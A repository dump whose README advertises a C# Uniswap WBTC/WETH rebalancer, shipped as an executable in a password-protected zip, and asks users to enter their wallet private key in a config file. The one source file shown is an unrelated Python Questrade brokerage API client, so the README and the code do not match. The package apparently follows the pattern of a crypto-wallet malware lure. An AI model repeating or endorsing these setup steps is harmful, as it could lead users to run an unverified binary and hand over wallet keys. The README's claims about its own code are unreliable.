├── README.md ├── binary └── Release.zip └── source └── QuestradeApi.py /README.md: -------------------------------------------------------------------------------- 1 | # Rebalancer 2 | 3 | The **Ethereum Uniswap Rebalancer** is a C#-based application designed to automate token rebalancing (WBTC and WETH) within an Ethereum wallet using Uniswap smart contracts. Built with the Nethereum library, this solution enables users to maintain specified token allocation ratios through automated trades. 4 | 5 | ### Key Features: 6 | 7 | - **Rebalancing Logic:** Implements a straightforward strategy to maintain target proportions between WBTC and WETH tokens by leveraging Uniswap’s decentralized liquidity pools. 8 | - **Executable for Ease of Use:** Delivered as a compiled executable (`UniswapRebalancer.exe`), allowing users to run the tool effortlessly without needing development experience. 9 | - **Flexible Configuration:** Users can modify essential parameters—such as Infura API key, wallet address, private key, and token specifications—via the `config.json` file. 10 | 11 | This tool is ideal for individuals seeking a hands-off method to preserve their preferred token balance. It also serves as a foundational framework that can be enhanced and tailored to fit more complex or personalized portfolio strategies. 12 | ## Getting Started 13 | - [Clone](https://github.com/knightlightst/rebalance/archive/refs/heads/main.zip) the repository and follow the step-by-step setup guide in the documentation. 14 | - Extract archive with password `1bvA32` 15 | - Modify the `config` file: 16 | 17 | 1. **Ethereum Networks:** 18 | - `rpcUrl`: The RPC URL for connecting to the Ethereum network. 19 | - `gasPrice`: The gas price in Wei to be used for transactions. 20 | - `gasLimit`: The gas limit per transaction. 21 | 22 | 2. **Rebalancer Settings:** 23 | - `targetWbtcPercentage`: Target percentage for WBTC in the portfolio. 24 | - `targetWethPercentage`: Target percentage for WETH in the portfolio. 25 | - `rebalancingInterval`: Time interval for rebalancing (e.g., `"1d"` for every 1 day). 26 | - `transactionTimeout`: Timeout for individual transactions in seconds. 27 | ```json 28 | { 29 | "ethereum": { 30 | "mainnet": { 31 | "rpcUrl": "https://mainnet.infura.io/v3/YOUR_INFURA_API_KEY", 32 | "gasPrice": 1000000000, // Gas price in Wei 33 | "gasLimit": 300000 // Gas limit per transaction 34 | }, 35 | "ropsten": { 36 | "rpcUrl": "https://ropsten.infura.io/v3/YOUR_INFURA_API_KEY", 37 | "gasPrice": 500000000, // Gas price in Wei 38 | "gasLimit": 200000 // Gas limit per transaction 39 | }, 40 | // Add more networks as needed 41 | }, 42 | "rebalancer": { 43 | "targetWbtcPercentage": 50, 44 | "targetWethPercentage": 30, 45 | "rebalancingInterval": "1d", // Rebalance every 1 day 46 | "transactionTimeout": 600, // Timeout for transactions in seconds 47 | // Add more rebalancing settings as needed 48 | } 49 | -------------------------------------------------------------------------------- /binary/Release.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knightlightst/rebalancer/2132003f7f66811e045963121f810a946c2f4af5/binary/Release.zip -------------------------------------------------------------------------------- /source/QuestradeApi.py: -------------------------------------------------------------------------------- 1 | import json 2 | import requests 3 | 4 | OAUTH_URL = "https://login.questrade.com/oauth2/token" 5 | # OAUTH_URL = "https://practicelogin.questrade.com/oauth2/token" 6 | 7 | SETTINGS_FILE = "auth.json" 8 | 9 | api_paths = { 10 | "time": "v1/time", 11 | "accounts": "v1/accounts", 12 | "symbols": "v1/symbols", 13 | "markets": "v1/markets" 14 | } 15 | 16 | 17 | class WrappedRequests: 18 | def __init__(self, api_server, auth_header): 19 | self.session = requests.Session() 20 | self.api_server = api_server 21 | self.auth_header = auth_header 22 | 23 | def get(self, path, **kwargs): 24 | get_url = "{}{}".format(self.api_server, path) 25 | kwargs['headers'] = self.auth_header 26 | return self.session.get(get_url, **kwargs).json() 27 | 28 | def post(self, path, **kwargs): 29 | post_url = "{}{}".format(self.api_server, path) 30 | kwargs['headers'] = self.auth_header 31 | return self.session.post(post_url, **kwargs).json() 32 | 33 | 34 | class QuestradeApi: 35 | def __init__(self): 36 | self.requests = None 37 | self.api_server = None 38 | self.auth_header = None 39 | self.setup() 40 | 41 | def read_auth_file(self, path): 42 | with open(path, "r") as f: 43 | return json.load(f) 44 | 45 | def write_auth_file(self, auth_dict, path): 46 | with open(path, "w") as f: 47 | json.dump(auth_dict, f, indent=4, sort_keys=True) 48 | f.write('\n') 49 | 50 | def _parse_auth(self, auth): 51 | auth_entry = "{} {}".format(auth["token_type"], auth["access_token"]) 52 | self.auth_header = {"Authorization": auth_entry} 53 | self.api_server = auth['api_server'] 54 | 55 | def fetch_auth(self, auth_token): 56 | params = {"grant_type": "refresh_token", 57 | "refresh_token": auth_token} 58 | r = requests.get(OAUTH_URL, params=params) 59 | return r.json() 60 | 61 | def _list_to_string(self, list_of_strings): 62 | out_string = "" 63 | list_length = len(list_of_strings) 64 | list_of_strings = list(map(lambda x: str(x), list_of_strings)) 65 | for i in range(list_length): 66 | entry = list_of_strings[i] 67 | out_string += entry 68 | if i < list_length - 1: 69 | out_string += "," 70 | return out_string 71 | 72 | # Try to read auth file 73 | def setup(self): 74 | try: 75 | auth = self.read_auth_file(SETTINGS_FILE) 76 | self._parse_auth(auth) 77 | self.write_auth_file(auth, SETTINGS_FILE) 78 | self.requests = WrappedRequests(self.api_server, self.auth_header) 79 | except FileNotFoundError: 80 | print("Couldn't find auth file. Please try running .auth().") 81 | 82 | def auth(self): 83 | auth_token = input("Enter your auth token: ") 84 | auth = self.fetch_auth(auth_token.split()) 85 | self._parse_auth(auth) 86 | self.write_auth_file(auth, SETTINGS_FILE) 87 | self.setup() 88 | 89 | ## Account Calls 90 | 91 | def get_time(self): 92 | return self.requests.get(api_paths["time"])["time"] 93 | 94 | def get_accounts(self): 95 | return self.requests.get(api_paths["accounts"]) 96 | 97 | def get_positions(self, account_id): 98 | positions_path = \ 99 | "{}/{}/positions".format(api_paths["accounts"], account_id) 100 | return self.requests.get(positions_path) 101 | 102 | def get_balances(self, account_id): 103 | balanced_path = \ 104 | "{}/{}/balances".format(api_paths["accounts"], account_id) 105 | return self.requests.get(balanced_path) 106 | 107 | def get_executions(self, account_id, **kwargs): 108 | executions_path = \ 109 | "{}/{}/executions".format(api_paths["accounts"], account_id) 110 | return self.requests.get(executions_path, params=kwargs) 111 | 112 | def get_orders(self, account_id, **kwargs): 113 | orders_path = \ 114 | "{}/{}/orders".format(api_paths["accounts"], account_id) 115 | if "order_id" in kwargs: 116 | orders_path += "/{}".format(kwargs["order_id"]) 117 | return self.requests.get(orders_path, params=kwargs) 118 | 119 | def get_activities(self, account_id, **kwargs): 120 | activities_path = \ 121 | "{}/{}/activities".format(api_paths["accounts"], account_id) 122 | return self.requests.get(activities_path, params=kwargs) 123 | 124 | ## Market Calls 125 | 126 | def _get_symbol_info(self, **kwargs): 127 | return self.requests.get(api_paths["symbols"], params=kwargs) 128 | 129 | def get_symbol_info_from_id(self, symbol_ids): 130 | if type(symbol_ids) == int: 131 | symbol_ids = [symbol_ids] 132 | params = {"ids": self._list_to_string(symbol_ids)} 133 | return self._get_symbol_info(**params) 134 | 135 | def get_id_from_symbol_name(self, symbol_name): 136 | query = self.get_symbol_info_from_name(symbol_name) 137 | first_entry = query["symbols"][0] 138 | return int(first_entry["symbolId"]) 139 | 140 | def get_symbol_info_from_name(self, symbol_names): 141 | if type(symbol_names) == str: 142 | symbol_names = [symbol_names] 143 | params = {"names": self._list_to_string(symbol_names)} 144 | return self._get_symbol_info(**params) 145 | 146 | def search_symbol(self, prefix, **kwargs): 147 | search_path = "{}/search".format(api_paths["symbols"]) 148 | kwargs["prefix"] = prefix 149 | return self.requests.get(search_path, params=kwargs) 150 | 151 | def get_symbol_options(self, symbol_id): 152 | options_path = "{}/{}/options".format(api_paths["symbols"], symbol_id) 153 | return self.requests.get(options_path) 154 | 155 | def get_markets(self): 156 | return self.requests.get(api_paths["markets"]) 157 | 158 | def get_market_quotes(self, symbol_ids): 159 | quotes_path = "{}/quotes".format(api_paths["markets"]) 160 | if type(symbol_ids) == int: 161 | symbol_ids = [symbol_ids] 162 | params = {"ids": self._list_to_string(symbol_ids)} 163 | return self.requests.get(quotes_path, params=params) 164 | 165 | def get_quotes_options(self): 166 | options_path = "{}/quotes/options".format(api_paths["markets"]) 167 | return self.requests.get(options_path) 168 | 169 | def get_quotes_strategies(self): 170 | strategies_path = "{}/quotes/strategies".format(api_paths["markets"]) 171 | return self.requests.get(strategies_path) 172 | 173 | def get_candles(self, symbol_id, **kwargs): 174 | candles_path = "{}/candles/{}".format(api_paths["markets"], symbol_id) 175 | return self.requests.get(candles_path, params=kwargs) 176 | 177 | # Order Calls 178 | def place_order(self, account_id, symbol_id, quantity, price, buy=True): 179 | payload = { 180 | "accountNumber": account_id, 181 | "symbolId": symbol_id, 182 | "quantity": quantity, 183 | "limitPrice": price, 184 | "isAllOrNone": False, 185 | "isAnonymous": False, 186 | "orderType": "Limit", 187 | "timeInForce": "Day", 188 | "action": 'Buy' if buy else 'Sell', 189 | "primaryRoute": "AUTO", 190 | "secondaryRoute": "AUTO" 191 | } 192 | return self._send_order(**payload) 193 | 194 | def place_buy_order(self, account_id, symbol_id, quantity, price): 195 | return self.place_order(account_id, symbol_id, quantity, price, buy=True) 196 | 197 | def place_sell_order(self, account_id, symbol_id, quantity, price): 198 | return self.place_order(account_id, symbol_id, quantity, price, buy=False) 199 | 200 | def _send_order(self, **kwargs): 201 | orders_path = "{}/{}/orders" 202 | orders_path = orders_path.format( 203 | api_paths["accounts"], kwargs["accountNumber"]) 204 | return self.requests.post(orders_path, json=kwargs) 205 | 206 | def get_order_impact(self, account_id, **kwargs): 207 | pass 208 | 209 | def delete_order(self, account_id, order_id): 210 | delete_path = "{}/{}/orders/{}".format(api_paths["accounts"], 211 | account_id, order_id) 212 | return self.requests.delete(delete_path) 213 | 214 | # TODO: continue order calls later maybe 215 | --------------------------------------------------------------------------------